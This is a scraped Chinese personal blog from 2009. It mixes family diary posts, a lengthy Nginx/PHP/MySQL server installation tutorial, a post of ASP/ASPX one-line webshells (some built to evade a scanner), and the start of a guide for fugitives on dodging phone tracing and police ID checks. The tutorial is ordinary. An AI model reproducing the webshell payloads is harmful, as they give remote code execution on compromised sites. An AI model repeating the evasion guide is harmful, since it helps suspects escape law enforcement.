离家的那一刻,在次忍不住落了泪,吃过午饭,看着时间到了,背上我一大早都收拾好的行里在背踏上了北征的道路,很多亲人送我,看着爷爷那苍老的身体,那一刻我忍住了眼泪,头也不回一个人走在最前面,可爷爷追上我,当爷爷给我钱时那一刻我忍不住哭了,虽然这是老人的心意,可我明白,这钱对他们来说可以用很长时间,当爷爷和妈妈还有姐姐等亲人送我上车爷爷在次追到车上,爷爷看我哭了忍不住哭了,我只能低下头谁也不看,爷爷在车外手按在车窗了,只能慢慢的看着远去的背影,当弟弟妹妹要来车站,当车行驶到路口看着他们站在路口向我挥手,那一刻是没有人能代替他们的,我不知道毕业这两年我做了什么,只能说一年前一次错误的决定,让我过了两年错误的生活,也许是命运弄人,在这里我只能说亲爱的,我的家人,对不起,我一定会努力,努力实现我的目标,至少我还有你们,我想你们

一月 31st, 2009

Posted In: 未分类

两年没回家,今年在家陪爸爸妈妈过个春节,然后逛了下街,在去广场拍拍照片,陪他们过个开心的春节,奶奶身体也不算好,陪着出去走走,老人家,只是自己在外工作,不能常陪着,看他们高兴的样子也挺开心,希望以后都这样,也在这里给大伙拜年了

一月 25th, 2009

Posted In: 未分类

前言:本文是我撰写的关于搭建“Nginx + PHP(FastCGI)”Web服务器的第4篇文章。本系列文章作为国内最早详细介绍 Nginx + PHP 安装、配置、使用的资料之一,为推动 Nginx 在国内的发展产生了积极的作用。这是一篇关于Nginx 0.7.x系列版本的文章,安装、配置方式与第3篇文章相差不大,但配置参数有不同。Nginx 0.7.x系列版本虽然为开发版,但在很多大型网站的生产环境中已经使用。

  链接:《2007年9月的第1版》、《2007年12月的第2版》、《2008年6月的第3版》
 Nginx ("engine x") 是一个高性能的 HTTP 和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。

  Nginx 超越 Apache 的高性能和稳定性,使得国内使用 Nginx 作为 Web 服务器的网站也越来越多,其中包括新浪博客、新浪播客、网易新闻等门户网站频道,六间房、56.com等视频分享网站,Discuz!官方论坛、水木社区等知名论坛,豆瓣、YUPOO相册、海内SNS、迅雷在线等新兴Web 2.0网站。

  Nginx 的官方中文维基:http://wiki.codemongers.com/NginxChs
 在高并发连接的情况下,Nginx是Apache服务器不错的替代品。Nginx同时也可以作为7层负载均衡服务器来使用。根据我的测试结果,Nginx 0.7.27 + PHP 5.2.8 (FastCGI) 可以承受3万以上的并发连接数,相当于同等环境下Apache的10倍。

  根据我的经验,4GB内存的服务器+Apache(prefork模式)一般只能处理3000个并发连接,因为它们将占用3GB以上的内存,还得为系统预留1GB的内存。我曾经就有两台Apache服务器,因为在配置文件中设置的MaxClients为4000,当Apache并发连接数达到3800 时,导致服务器内存和Swap空间用满而崩溃。

  而这台 Nginx 0.7.27 + PHP 5.2.8 (FastCGI) 服务器在3万并发连接下,开启的10个Nginx进程消耗150M内存(15M*10=150M),开启的64个php-cgi进程消耗1280M内存(20M*64=1280M),加上系统自身消耗的内存,总共消耗不到2GB内存。如果服务器内存较小,完全可以只开启25个php-cgi进程,这样 php-cgi消耗的总内存数才500M。

  在3万并发连接下,访问Nginx 0.7.27 + PHP 5.2.8 (FastCGI) 服务器的PHP程序,仍然速度飞快。下图为Nginx的状态监控页面,显示的活动连接数为28457(关于Nginx的监控页配置,会在本文接下来所给出的Nginx配置文件中写明):
安装步骤:
  (系统要求:Linux 2.6+ 内核,本文中的Linux操作系统为CentOS 5.1,另在RedHat AS4上也安装成功)

  一、获取相关开源程序:
  1、利用CentOS Linux系统自带的yum命令安装、升级所需的程序库(RedHat等其他Linux发行版可从安装光盘中找到这些程序库的RPM包,进行安装):
[code]sudo -s
LANG=C
yum -y install gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel libidn libidn-devel openssl openssl-devel[/code]

  2、 RedHat等其他Linux发行版可从安装光盘中找到这些程序库的RPM包(事先可通过类似“rpm -qa | grep libjpeg”的命令查看所需的RPM包是否存在,通常是“xxx-devel”不存在,需要安装)。RedHat可以直接利用CentOS的RPM包安装,以下是RPM包下载网址:
  ①、RedHat AS4 & CentOS 4
  http://mirror.be10.com/centos/4/os/i386/CentOS/RPMS/
  http://mirror.be10.com/centos/4/os/x86_64/CentOS/RPMS/

  ②、RedHat AS5 & CentOS 5
  http://mirror.be10.com/centos/5/os/i386/CentOS/
  http://mirror.be10.com/centos/5/os/x86_64/CentOS/

  ③、RPM包搜索网站
  http://rpm.pbone.net/
  http://www.rpmfind.net/

  3、下载程序源码包:
  本文中提到的所有开源软件为截止到2008年12月17日的最新稳定版。
  ①、从软件的官方网站下载:
[code]mkdir -p /data0/software
cd /data0/software
wget http://sysoev.ru/nginx/nginx-0.7.27.tar.gz
wget http://www.php.net/get/php-5.2.8.tar.gz/from/this/mirror
wget http://php-fpm.anight.org/downloads/head/php-5.2.8-fpm-0.5.10.diff.gz
wget http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.30.tar.gz/from/http://mirrors.24-7-solutions.net/pub/mysql/
wget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.12.tar.gz
wget "http://downloads.sourceforge.net/mcrypt/libmcrypt-2.5.8.tar.gz?modtime=1171868460&big_mirror=0"
wget "http://downloads.sourceforge.net/mcrypt/mcrypt-2.6.7.tar.gz?modtime=1194463373&big_mirror=0"
wget http://pecl.php.net/get/memcache-2.2.4.tgz
wget "http://downloads.sourceforge.net/mhash/mhash-0.9.9.tar.gz?modtime=1175740843&big_mirror=0"
wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-7.8.tar.gz
wget http://bart.eaccelerator.net/source/0.9.5.3/eaccelerator-0.9.5.3.tar.bz2
wget http://pecl.php.net/get/PDO_MYSQL-1.0.2.tgz[/code]

  ②、从blog.s135.com下载(比较稳定,只允许在本站,或者在Linux/Unix下通过Wget、Curl等命令下载以下软件):
[code]mkdir -p /data0/software
cd /data0/software
wget http://blog.s135.com/soft/linux/nginx_php/nginx/nginx-0.7.27.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/php/php-5.2.8.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/phpfpm/php-5.2.8-fpm-0.5.10.diff.gz
wget http://blog.s135.com/soft/linux/nginx_php/mysql/mysql-5.1.30.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/libiconv/libiconv-1.12.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/mcrypt/libmcrypt-2.5.8.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/mcrypt/mcrypt-2.6.7.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/memcache/memcache-2.2.4.tgz
wget http://blog.s135.com/soft/linux/nginx_php/mhash/mhash-0.9.9.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/pcre/pcre-7.8.tar.gz
wget http://blog.s135.com/soft/linux/nginx_php/eaccelerator/eaccelerator-0.9.5.3.tar.bz2
wget http://blog.s135.com/soft/linux/nginx_php/pdo/PDO_MYSQL-1.0.2.tgz
[/code]

  二、安装PHP 5.2.8(FastCGI模式)
  1、编译安装PHP 5.2.8所需的支持库:
[code]tar zxvf libiconv-1.12.tar.gz
cd libiconv-1.12/
./configure –prefix=/usr/local
make
make install
cd ../

tar zxvf libmcrypt-2.5.8.tar.gz
cd libmcrypt-2.5.8/
./configure
make
make install
/sbin/ldconfig
cd libltdl/
./configure –enable-ltdl-install
make
make install
cd ../../

tar zxvf mhash-0.9.9.tar.gz
cd mhash-0.9.9/
./configure
make
make install
cd ../

ln -s /usr/local/lib/libmcrypt.la /usr/lib/libmcrypt.la
ln -s /usr/local/lib/libmcrypt.so /usr/lib/libmcrypt.so
ln -s /usr/local/lib/libmcrypt.so.4 /usr/lib/libmcrypt.so.4
ln -s /usr/local/lib/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4.4.8
ln -s /usr/local/lib/libmhash.a /usr/lib/libmhash.a
ln -s /usr/local/lib/libmhash.la /usr/lib/libmhash.la
ln -s /usr/local/lib/libmhash.so /usr/lib/libmhash.so
ln -s /usr/local/lib/libmhash.so.2 /usr/lib/libmhash.so.2
ln -s /usr/local/lib/libmhash.so.2.0.1 /usr/lib/libmhash.so.2.0.1

tar zxvf mcrypt-2.6.7.tar.gz
cd mcrypt-2.6.7/
/sbin/ldconfig
./configure
make
make install
cd ../
[/code]

  2、编译安装MySQL 5.1.30
[code]/usr/sbin/groupadd mysql
/usr/sbin/useradd -g mysql mysql
tar zxvf mysql-5.1.30.tar.gz
cd mysql-5.1.30/
./configure –prefix=/usr/local/webserver/mysql/ –enable-assembler –with-extra-charsets=complex –enable-thread-safe-client –with-big-tables –with-readline –with-ssl –with-embedded-server –enable-local-infile –with-innodb
make && make install
chmod +w /usr/local/webserver/mysql
chown -R mysql:mysql /usr/local/webserver/mysql
cp support-files/my-medium.cnf /usr/local/webserver/mysql/my.cnf
cd ../
[/code]

  附:以下为附加步骤,如果你想在这台服务器上运行MySQL数据库,则执行以下两步。如果你只是希望让PHP支持MySQL扩展库,能够连接其他服务器上的MySQL数据库,那么,以下两步无需执行。
  ①、以mysql用户帐号的身份建立数据表:
[code]/usr/local/webserver/mysql/bin/mysql_install_db –basedir=/usr/local/webserver/mysql –datadir=/usr/local/webserver/mysql/data –user=mysql
[/code]

  ②、启动MySQL(最后的&表示在后台运行)

/bin/sh /usr/local/webserver/mysql/bin/mysqld_safe –defaults-file=/usr/local/webserver/mysql/my.cnf &

  3、编译安装PHP(FastCGI模式)
[code]tar zxvf php-5.2.8.tar.gz
gzip -cd php-5.2.8-fpm-0.5.10.diff.gz | patch -d php-5.2.8 -p1
cd php-5.2.8/
./configure –prefix=/usr/local/webserver/php –with-config-file-path=/usr/local/webserver/php/etc –with-mysql=/usr/local/webserver/mysql –with-mysqli=/usr/local/webserver/mysql/bin/mysql_config –with-iconv-dir=/usr/local –with-freetype-dir –with-jpeg-dir –with-png-dir –with-zlib –with-libxml-dir=/usr –enable-xml –disable-rpath –enable-discard-path –enable-safe-mode –enable-bcmath –enable-shmop –enable-sysvsem –enable-inline-optimization –with-curl –with-curlwrappers –enable-mbregex –enable-fastcgi –enable-fpm –enable-force-cgi-redirect –enable-mbstring –with-mcrypt –with-gd –enable-gd-native-ttf –with-openssl –with-mhash –enable-pcntl –enable-sockets
make ZEND_EXTRA_LIBS='-liconv'
make install
cp php.ini-dist /usr/local/webserver/php/etc/php.ini
cd ../
[/code]

  4、编译安装PHP5扩展模块
[code]
tar zxvf memcache-2.2.4.tgz
cd memcache-2.2.4/
/usr/local/webserver/php/bin/phpize
./configure –with-php-config=/usr/local/webserver/php/bin/php-config
make
make install
cd ../

tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3/
/usr/local/webserver/php/bin/phpize
./configure –enable-eaccelerator=shared –with-php-config=/usr/local/webserver/php/bin/php-config
make
make install
cd ../

tar zxvf PDO_MYSQL-1.0.2.tgz
cd PDO_MYSQL-1.0.2/
/usr/local/webserver/php/bin/phpize
./configure –with-php-config=/usr/local/webserver/php/bin/php-config –with-pdo-mysql=/usr/local/webserver/mysql
make
make install
cd ../
[/code]

  5、修改php.ini文件
  手工修改:查找/usr/local/webserver/php/etc/php.ini中的extension_dir = "./"
  修改为extension_dir = "/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20060613/"
  并在此行后增加以下几行,然后保存:
  extension = "memcache.so"
  extension = "pdo_mysql.so"

  再查找output_buffering = Off
  修改为output_buffering = On

  自动修改:若嫌手工修改麻烦,可执行以下shell命令,自动完成对php.ini文件的修改:
[code]sed -i 's#extension_dir = "./"#extension_dir = "/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20060613/"nextension = "memcache.so"nextension = "pdo_mysql.so"n#' /usr/local/webserver/php/etc/php.ini
sed -i 's#output_buffering = Off#output_buffering = On#' /usr/local/webserver/php/etc/php.ini
[/code]

  6、配置eAccelerator加速PHP:
[code]mkdir -p /usr/local/webserver/eaccelerator_cache
vi /usr/local/webserver/php/etc/php.ini
[/code]

  按shift+g键跳到配置文件的最末尾,加上以下配置信息:
引用
[code]
[eaccelerator]
zend_extension="/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20060613/eaccelerator.so"
eaccelerator.shm_size="128"
eaccelerator.cache_dir="/usr/local/webserver/eaccelerator_cache"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="300"
eaccelerator.shm_prune_period="120"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="9"
[/code]

  修改配置文件:
[code]
vi /etc/sysctl.conf
[/code]

  输入以下内容:
引用
[code]
kernel.shmmax = 134217728[/code]

  然后执行以下命令使配置生效:
/sbin/sysctl -p

  7、创建www用户和组,以及供blog.s135.com和www.s135.com两个虚拟主机使用的目录:
[code]
/usr/sbin/groupadd www
/usr/sbin/useradd -g www www
mkdir -p /data0/htdocs/blog
chmod +w /data0/htdocs/blog
chown -R www:www /data0/htdocs/blog
mkdir -p /data0/htdocs/www
chmod +w /data0/htdocs/www
chown -R www:www /data0/htdocs/www
[/code]

  8、创建php-fpm配置文件(php-fpm是为PHP打的一个FastCGI管理补丁,可以平滑变更php.ini配置而无需重启php-cgi):
  在/usr/local/webserver/php/etc/目录中创建php-fpm.conf文件:
[code]
rm -f /usr/local/webserver/php/etc/php-fpm.conf
vi /usr/local/webserver/php/etc/php-fpm.conf
[/code]

  输入以下内容(如果您安装 Nginx + PHP 用于程序调试,请将以下的0改为1,以便显示PHP错误信息,否则,Nginx 会报状态为500的空白错误页):
[code]
view plainprint?

1.
2.
3.
4. All relative paths in this config are relative to php's install prefix
5.
6.

7.
8. Pid file
9. /usr/local/webserver/php/logs/php-fpm.pid
10.
11. Error log file
12. /usr/local/webserver/php/logs/php-fpm.log
13.
14. Log level
15. notice
16.
17. When this amount of php processes exited with SIGSEGV or SIGBUS …
18. 10
19.
20. … in a less than this interval of time, a graceful restart will be initiated.
21. Useful to work around accidental curruptions in accelerator's shared memory.
22. 1m
23.
24. Time limit on waiting child's reaction on signals from master
25. 5s
26.
27. Set to 'no' to debug fpm
28. yes
29.
30.

31.
32.
33.
34.

35.
36. Name of pool. Used in logs and stats.
37. default
38.
39. Address to accept fastcgi requests on.
40. Valid syntax is 'ip.ad.re.ss:port' or just 'port' or '/path/to/unix/socket'
41. 127.0.0.1:9000
42.
43.
44.
45. Set listen(2) backlog
46. -1
47.
48. Set permissions for unix socket, if one used.
49. In Linux read/write permissions must be set in order to allow connections from web server.
50. Many BSD-derrived systems allow connections regardless of permissions.
51.
52.
53. 0666
54.

55.
56. Additional php.ini defines, specific to this pool of workers.
57.
58. /usr/sbin/sendmail -t -i
59. 1
60.

61.
62. Unix user of processes
63. www
64.
65. Unix group of processes
66. www
67.
68. Process manager settings
69.
70.
71. Sets style of controling worker process count.
72. Valid values are 'static' and 'apache-like'
73. static
74.
75. Sets the limit on the number of simultaneous requests that will be served.
76. Equivalent to Apache MaxClients directive.
77. Equivalent to PHP_FCGI_CHILDREN environment in original php.fcgi
78. Used with any pm_style.
79. 128
80.
81. Settings group for 'apache-like' pm style
82.
83.
84. Sets the number of server processes created on startup.
85. Used only when 'apache-like' pm_style is selected
86. 20
87.
88. Sets the desired minimum number of idle server processes.
89. Used only when 'apache-like' pm_style is selected
90. 5
91.
92. Sets the desired maximum number of idle server processes.
93. Used only when 'apache-like' pm_style is selected
94. 35
95.
96.

97.
98.

99.
100. The timeout (in seconds) for serving a single request after which the worker process will be terminated
101. Should be used when 'max_execution_time' ini option does not stop script execution for some reason
102. '0s' means 'off'
103. 0s
104.
105. The timeout (in seconds) for serving of single request after which a php backtrace will be dumped to slow.log file
106. '0s' means 'off'
107. 0s
108.
109. The log file for slow requests
110. logs/slow.log
111.
112. Set open file desc rlimit
113. 51200
114.
115. Set max core size rlimit
116. 0
117.
118. Chroot to this directory at the start, absolute path
119.
120.
121. Chdir to this directory at the start, absolute path
122.
123.
124. Redirect workers' stdout and stderr into main error log.
125. If not set, they will be redirected to /dev/null, according to FastCGI specs
126. yes
127.
128. How much requests each process should execute before respawn.
129. Useful to work around memory leaks in 3rd party libraries.
130. For endless request processing please specify 0
131. Equivalent to PHP_FCGI_MAX_REQUESTS
132. 500
133.
134. Comma separated list of ipv4 addresses of FastCGI clients that allowed to connect.
135. Equivalent to FCGI_WEB_SERVER_ADDRS environment in original php.fcgi (5.2.2+)
136. Makes sense only with AF_INET listening socket.
137. 127.0.0.1
138.
139. Pass environment variables like LD_LIBRARY_PATH
140. All $VARIABLEs are taken from current environment
141.
142. $HOSTNAME
143. /usr/local/bin:/usr/bin:/bin
144. /tmp
145. /tmp
146. /tmp
147. $OSTYPE
148. $MACHTYPE
149. 2
150.

151.
152.

153.
154.
155.
156.

All relative paths in this config are relative to php's install prefix

Pid file /usr/local/webserver/php/logs/php-fpm.pid Error log file /usr/local/webserver/php/logs/php-fpm.log Log level notice When this amount of php processes exited with SIGSEGV or SIGBUS … 10 … in a less than this interval of time, a graceful restart will be initiated. Useful to work around accidental curruptions in accelerator's shared memory. 1m Time limit on waiting child's reaction on signals from master 5s Set to 'no' to debug fpm yes

Name of pool. Used in logs and stats. default Address to accept fastcgi requests on. Valid syntax is 'ip.ad.re.ss:port' or just 'port' or '/path/to/unix/socket' 127.0.0.1:9000 Set listen(2) backlog -1 Set permissions for unix socket, if one used. In Linux read/write permissions must be set in order to allow connections from web server. Many BSD-derrived systems allow connections regardless of permissions. 0666 Additional php.ini defines, specific to this pool of workers. /usr/sbin/sendmail -t -i 1 Unix user of processes www Unix group of processes www Process manager settings Sets style of controling worker process count. Valid values are 'static' and 'apache-like' static Sets the limit on the number of simultaneous requests that will be served. Equivalent to Apache MaxClients directive. Equivalent to PHP_FCGI_CHILDREN environment in original php.fcgi Used with any pm_style. 128 Settings group for 'apache-like' pm style Sets the number of server processes created on startup. Used only when 'apache-like' pm_style is selected 20 Sets the desired minimum number of idle server processes. Used only when 'apache-like' pm_style is selected 5 Sets the desired maximum number of idle server processes. Used only when 'apache-like' pm_style is selected 35 The timeout (in seconds) for serving a single request after which the worker process will be terminated Should be used when 'max_execution_time' ini option does not stop script execution for some reason '0s' means 'off' 0s The timeout (in seconds) for serving of single request after which a php backtrace will be dumped to slow.log file '0s' means 'off' 0s The log file for slow requests logs/slow.log Set open file desc rlimit 51200 Set max core size rlimit 0 Chroot to this directory at the start, absolute path Chdir to this directory at the start, absolute path Redirect workers' stdout and stderr into main error log. If not set, they will be redirected to /dev/null, according to FastCGI specs yes How much requests each process should execute before respawn. Useful to work around memory leaks in 3rd party libraries. For endless request processing please specify 0 Equivalent to PHP_FCGI_MAX_REQUESTS 500 Comma separated list of ipv4 addresses of FastCGI clients that allowed to connect. Equivalent to FCGI_WEB_SERVER_ADDRS environment in original php.fcgi (5.2.2+) Makes sense only with AF_INET listening socket. 127.0.0.1 Pass environment variables like LD_LIBRARY_PATH All $VARIABLEs are taken from current environment $HOSTNAME /usr/local/bin:/usr/bin:/bin /tmp /tmp /tmp $OSTYPE $MACHTYPE 2

 
[/code]
 9、启动php-cgi进程,监听127.0.0.1的9000端口,进程数为200(如果服务器内存小于3GB,可以只开启64个进程),用户为www:
[code]
ulimit -SHn 51200
/usr/local/webserver/php/sbin/php-fpm start
[/code]
  注:/usr/local/webserver/php/sbin/php-fpm还有其他参数,包括:start|stop|quit|restart|reload|logrotate,修改php.ini后不重启php-cgi,重新加载配置文件使用reload。

  三、安装Nginx 0.7.27
  1、安装Nginx所需的pcre库:
[code]
tar zxvf pcre-7.8.tar.gz
cd pcre-7.8/
./configure
make && make install
cd ../

[/code]
  2、安装Nginx
[code]
tar zxvf nginx-0.7.27.tar.gz
cd nginx-0.7.27/
./configure –user=www –group=www –prefix=/usr/local/webserver/nginx –with-http_stub_status_module –with-http_ssl_module
make && make install
cd ../
[/code]

  3、创建Nginx日志目录
[code]
mkdir -p /data1/logs
chmod +w /data1/logs
chown -R www:www /data1/logs
[/code]

  4、创建Nginx配置文件
  ①、在/usr/local/webserver/nginx/conf/目录中创建nginx.conf文件:
[code]
rm -f /usr/local/webserver/nginx/conf/nginx.conf
vi /usr/local/webserver/nginx/conf/nginx.conf
[/code]

  输入以下内容:
引用
[code]
user www www;

worker_processes 8;

error_log /data1/logs/nginx_error.log crit;

pid /usr/local/webserver/nginx/nginx.pid;

#Specifies the value for maximum file descriptors that can be opened by this process.
worker_rlimit_nofile 51200;

events
{
use epoll;
worker_connections 51200;
}

http
{
include mime.types;
default_type application/octet-stream;

#charset gb2312;

server_names_hash_bucket_size 128;
client_header_buffer_size 32k;
large_client_header_buffers 4 32k;
client_max_body_size 8m;

sendfile on;
tcp_nopush on;

keepalive_timeout 60;

tcp_nodelay on;

fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;

gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.0;
gzip_comp_level 2;
gzip_types text/plain application/x-javascript text/css application/xml;
gzip_vary on;

#limit_zone crawler $binary_remote_addr 10m;

server
{
listen 80;
server_name blog.s135.com;
index index.html index.htm index.php;
root /data0/htdocs/blog;

#limit_conn crawler 20;

location ~ .*.(php|php5)?$
{
#fastcgi_pass unix:/tmp/php-cgi.sock;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fcgi.conf;
}

location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 30d;
}

location ~ .*.(js|css)?$
{
expires 1h;
}

log_format access '$remote_addr – $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
access_log /data1/logs/access.log access;
}

server
{
listen 80;
server_name www.s135.com;
index index.html index.htm index.php;
root /data0/htdocs/www;

location ~ .*.(php|php5)?$
{
#fastcgi_pass unix:/tmp/php-cgi.sock;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fcgi.conf;
}

log_format wwwlogs '$remote_addr – $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
access_log /data1/logs/wwwlogs.log wwwlogs;
}

server
{
listen 80;
server_name status.blog.s135.com;

location / {
stub_status on;
access_log off;
}
}
}
[/code]

  ②、在/usr/local/webserver/nginx/conf/目录中创建fcgi.conf文件:
vi /usr/local/webserver/nginx/conf/fcgi.conf

  输入以下内容:
引用
[code]
fastcgi_param GATEWAY_INTERFACE CGI/1.1;
fastcgi_param SERVER_SOFTWARE nginx;

fastcgi_param QUERY_STRING $query_string;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param CONTENT_TYPE $content_type;
fastcgi_param CONTENT_LENGTH $content_length;

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_param REQUEST_URI $request_uri;
fastcgi_param DOCUMENT_URI $document_uri;
fastcgi_param DOCUMENT_ROOT $document_root;
fastcgi_param SERVER_PROTOCOL $server_protocol;

fastcgi_param REMOTE_ADDR $remote_addr;
fastcgi_param REMOTE_PORT $remote_port;
fastcgi_param SERVER_ADDR $server_addr;
fastcgi_param SERVER_PORT $server_port;
fastcgi_param SERVER_NAME $server_name;

# PHP only, required if PHP was built with –enable-force-cgi-redirect
fastcgi_param REDIRECT_STATUS 200;
[/code]

  5、启动Nginx
[code]
ulimit -SHn 51200
/usr/local/webserver/nginx/sbin/nginx
[/code]

  四、配置开机自动启动Nginx + PHP
vi /etc/rc.local

  在末尾增加以下内容:
引用
[code]
ulimit -SHn 51200
/usr/local/webserver/php/sbin/php-fpm start
/usr/local/webserver/nginx/sbin/nginx
[/code]

  五、优化Linux内核参数

vi /etc/sysctl.conf

  在末尾增加以下内容:
引用
[code]
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_keepalive_time = 300
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.ip_local_port_range = 5000 65000
[/code]

  使配置立即生效:
/sbin/sysctl -p

  六、在不停止Nginx服务的情况下平滑变更Nginx配置
  1、修改/usr/local/webserver/nginx/conf/nginx.conf配置文件后,请执行以下命令检查配置文件是否正确:
/usr/local/webserver/nginx/sbin/nginx -t

  如果屏幕显示以下两行信息,说明配置文件正确:
  the configuration file /usr/local/webserver/nginx/conf/nginx.conf syntax is ok
  the configuration file /usr/local/webserver/nginx/conf/nginx.conf was tested successfully

  2、这时,输入以下命令查看Nginx主进程号:
ps -ef | grep "nginx: master process" | grep -v "grep" | awk -F ' ' '{print $2}'

  屏幕显示的即为Nginx主进程号,例如:
  6302
  这时,执行以下命令即可使修改过的Nginx配置文件生效:
kill -HUP 6302

  或者无需这么麻烦,找到Nginx的Pid文件:
kill -HUP `cat /usr/local/webserver/nginx/nginx.pid`

  七、编写每天定时切割Nginx日志的脚本
  1、创建脚本/usr/local/webserver/nginx/sbin/cut_nginx_log.sh
vi /usr/local/webserver/nginx/sbin/cut_nginx_log.sh

  输入以下内容:
引用
[code]
#!/bin/bash
# This script run at 00:00

# The Nginx logs path
logs_path="/usr/local/webserver/nginx/logs/"

mkdir -p ${logs_path}$(date -d "yesterday" +"%Y")/$(date -d "yesterday" +"%m")/
mv ${logs_path}access.log ${logs_path}$(date -d "yesterday" +"%Y")/$(date -d "yesterday" +"%m")/access_$(date -d "yesterday" +"%Y%m%d").log
kill -USR1 `cat /usr/local/webserver/nginx/nginx.pid`

[/code]
  2、设置crontab,每天凌晨00:00切割nginx访问日志
crontab -e

  输入以下内容:
引用

00 00 * * * /bin/bash /usr/local/webserver/nginx/sbin/cut_nginx_log.sh

一月 14th, 2009

Posted In: 未分类

asp一句话
<%execute(request("1"))%>

php一句话

aspx一句话

可以躲过雷客图的一句话。
<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""1""))") %>

不用'<,>'的asp一句话

不用双引号的一句话。
<%eval request(chr(35))%>

一月 11th, 2009

Posted In: 未分类

来源:Shad@oM

PS:纯属娱乐··请勿参照执行··

第一条,跑路过程中的通讯

1,最大的忌讳,用手机
手机虽然作为很先进的通讯工具,方便了联络,但是在跑路途中,这个确是最大的安全隐患,一个电话可能你就会被KO掉了。可能有的朋友会说,你说的是因为手机卡是用你身份证办的吧,你可以办那种不用身份证办的电话卡啊,或者是用别人的身份证办的卡啊。问题不在这里,而是目前的手机定位情况,如果真的是犯了比较大的事情,一般你的手机肯定会被锁定的,包括你的通话和短信。至于定位,一般开机40秒之内定位你没什么问题。可能又有不懂的童鞋要问了,我又没有打电话,怎么会定位我呢?不知道你们有没有用过Googlemap的定位功能,或者是AGPS,这个给手机没有GPS功能的朋友带来了很多方便,可以实时定位你的位置……,这个的实现其实是基于手机信号发射站来定位的,多维定位法,一般精确度在300-400米范围内,你所处位置的基站越多,定位越精确,只要你手机开机,有信号,基站就会不断扫描你手机信号源,然后多维定位。所以……跑路过程中最好是不要使用手机通讯,否则你很快就会被锁定……。可能你在美国大片中经常看到有人打电话然后被锁定在某个建筑内,这当然不是危言耸听。我不知道他们是不是基于手机基站扫描定位,我想可能还有卫星定位技术在里面吧,不管怎么样,手机还是不用为妙

2,固定电话联系方式

很多人之所以被抓,可能就是因为实在想家,用固定电话给家里打了个电话。然后很快就被KO掉了。固定电话不具备移动性,一般打电话都会显示区号,然后根据这个区号,再去当地电信查,很快就能具体到某一不电话机。可能又有朋友要问了,我用街道旁边的IC卡公用电话,总找不到我吧,这个,实在的说,更好找到你的大致位置了,街边的IC卡公用电话都是分段号码,并且在电信里直接有分布图,根据你的电话号码,很快就能追踪到你所使用的那部电话所在的街道名称和位置……,这样你的位置还是会被暴露,给跑路带来风险。

总结:
跑路过程中的通讯解决方案

可以找到当地的中学生或者是去网吧找个,给他一些钱,让他打电话给另外个城市的朋友或者网友,当然,距离越远越好,然后通过他再转告给你想联系的人,如果为了更安全,可以多跳转几次。这样即使追查起来,想找到你的位置,可能在某个环节就会断掉。

第二条,跑路过程中的交通

跑路,当然是要跑了,跑的越隐蔽越好,越少人知道越好,越快也越好。所以交通是很重要。
交通无非就是海陆空,机场车站,码头,或者自己开车或者驴车马车牛车都可以。没有做不到,只有想不到。
首先,坐飞机跑路这个是首先要排除掉的,机场人员众多,安全检查有是最严密的。警察叔叔安排的数量也是最多的。身份核查也是最严密的,身份证识别是和公安局的那个身份证识别系统是联网的,去机场坐飞机跑路等于自投罗网。聪明人一般都不会坐飞机跑路。

其次,坐火车跑路,这个也是很不明智的选择。火车站现在安检级别也升级了,火车站内监控众多。虽然说火车站人多,置身其中还是相对安全的说,但是门口中总有警察叔叔在那里查身份证,看到可疑人员就会让你掏出身份证在电脑上查询一下(fuck,插播一条新闻,本人每次坐火车基本上都会被视为可疑对象查身份证),所以这个路线也不是很安全的,万一被警察叔叔查身份证,那当场就挂了。不推荐

